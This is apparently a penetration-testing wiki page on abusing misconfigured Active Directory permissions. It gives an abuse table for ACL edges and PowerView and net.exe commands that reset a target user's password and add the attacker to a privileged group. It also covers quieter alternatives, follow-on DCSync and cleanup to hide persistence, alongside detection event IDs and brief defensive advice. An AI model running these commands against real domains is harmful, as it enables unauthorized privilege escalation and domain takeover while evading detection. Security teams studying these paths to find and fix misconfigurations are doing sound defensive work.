Active Directory Weak Permissions (ACL Abuse)
Every AD object carries a security descriptor with a DACL of Access Control
Entries (ACEs) granting principals rights against that object. When those ACEs
are misassigned — a helpdesk group with ForceChangePassword over admins, a
service account with GenericAll over a tier-0 group — they form ACL attack
paths: privilege escalation without exploits, malware, or (often) credential
theft. BloodHound 1.3 (SpecterOps, 2017) put these paths on the
map literally, introducing ACL-based edges and pairing each with a PowerView
abuse cmdlet.
The abusable edges
| Edge | Meaning | Abuse |
|---|---|---|
| GenericAll | Full control of the object | User: reset password / [[targeted-kerberoasting |
| ForceChangePassword | Reset user’s password without knowing it | Set-DomainUserPassword or net user |
| AddMember | Add arbitrary principals to a group | Add-DomainGroupMember or net group ... /add |
| GenericWrite | Write any non-protected attribute | ScriptPath, SPN, logon script |
| WriteOwner | Take ownership → rewrite the DACL | Set-DomainObjectOwner then grant GenericAll |
| WriteDacl | Modify the DACL directly | Grant yourself GenericAll |
| AllExtendedRights | All extended rights (superset of reset-pw) | Same as ForceChangePassword/AddMember |
Object ownership matters independently: an object’s owner can always rewrite its DACL, even against explicit deny ACEs.
User-targeted attack (GenericAll over a user)
# Confirm the right exists (PowerView)
Get-ObjectAcl -SamAccountName $TARGET_USER -ResolveGUIDs |
? { $_.ActiveDirectoryRights -eq "GenericAll" }
# Reset the target's password
Set-DomainUserPassword -Identity $TARGET_USER -AccountPassword $SECURE_STRING
# ...or the built-in fallback:
net user $TARGET_USER $NEW_PASSWORD /domainAlternatives that avoid touching the password (quieter): write a scriptPath
logon script, or add an SPN and kerberoast the account.
Group-targeted attack (GenericAll over a group)
Get-NetGroup $TARGET_GROUP
Get-ObjectAcl -ResolveGUIDs | ? { $_.objectDN -eq "$GROUP_DN" }
# Add yourself (PowerView preferred — supports alternate creds, no net.exe spawn)
Add-DomainGroupMember -Identity $TARGET_GROUP -Members $USERNAME
net group $TARGET_GROUP $USERNAME /add /domain # built-in fallbackOnce inside the group, DCSync or pivot onward — then remove the added member to shrink the persistence footprint.
Discovery at scale
Invoke-ACLScanner(PowerView) finds misconfigured ACLs domain-wide.- BloodHound/SharpHound collects DACLs and renders the transitive object control paths — the canonical way to find multi-hop chains (user → group → user → Domain Admins).
Opsec & detection
- Password resets generate Event 4724 on the DC; membership adds 4728/4756; changing a service account’s password can break production and page the SOC.
net.exespawns are command-line logged; PowerView cmdlets keep execution in the PowerShell process (but PowerShell v5 script-block logging + AMSI still see them).- Defense: audit sensitive ACEs regularly (BloodHound works for defenders too), alert on 4724/4728 against protected accounts, and gate tier-0 object DACLs.
Sources
- GenericAll Edge — BloodHound / SpecterOps
- ForceChangePassword Edge — BloodHound / SpecterOps
- 2017 — BloodHound 1.3 — The ACL Attack Path Update
- Traversable and Non-Traversable Edge Types — BloodHound / SpecterOps
Related: powerview, bloodhound, active-directory-enumeration, active-directory-lateral-movement, active-directory-groups, targeted-kerberoasting, as-rep-roasting, kerberos-delegation-abuse.